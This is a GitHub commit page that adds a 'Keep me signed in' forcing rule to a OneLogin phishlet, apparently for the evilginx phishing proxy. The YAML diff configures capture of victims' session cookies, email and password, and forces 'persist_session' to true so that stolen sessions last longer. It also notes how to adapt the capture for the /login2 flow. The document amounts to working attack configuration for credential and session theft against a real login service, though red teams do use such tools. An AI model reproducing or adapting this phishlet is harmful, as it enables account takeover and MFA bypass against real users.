Skip to content

Commit

Permalink
Added "Keep me signed in" for /login urls
Browse files Browse the repository at this point in the history
  • Loading branch information
perfectlylogical authored and kgretzky committed Feb 2, 2021
1 parent 692a9b9 commit a0b8177
Showing 1 changed file with 12 additions and 1 deletion.
13 changes: 12 additions & 1 deletion phishlets/onelogin.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,17 @@ auth_tokens:
keys: ['onelogin.com_user']
- domain: 'EXAMPLE.onelogin.com'
keys: ['sub_session_onelogin.com']
# This is used to force the rememebr me functionality if the target is using the /login url
# This method will not work if they are using the multistep login method on the /login2 url
force_post:
- path: '/sessions'
search:
- {key: 'authenticity_token', search: '.*'}
- {key: 'email', search: '.*'}
- {key: 'password', search: '.*'}
force:
- {key: 'persist_session', value: 'true'}
type: 'post'
credentials:
username:
key: 'email'
Expand All @@ -24,7 +35,7 @@ credentials:
search: '(.*)'
type: 'post'
# You will need to uncomment the custom section if the target is using /login2/.
# When using /login2/ it changes how it sends the JSON to the server.
# When using /login2/ it changes from using a post to sending json across multiple requests.
#custom:
# - key: 'username'
# search: '"login":"(.*)"'
Expand Down

0 comments on commit a0b8177

Please sign in to comment.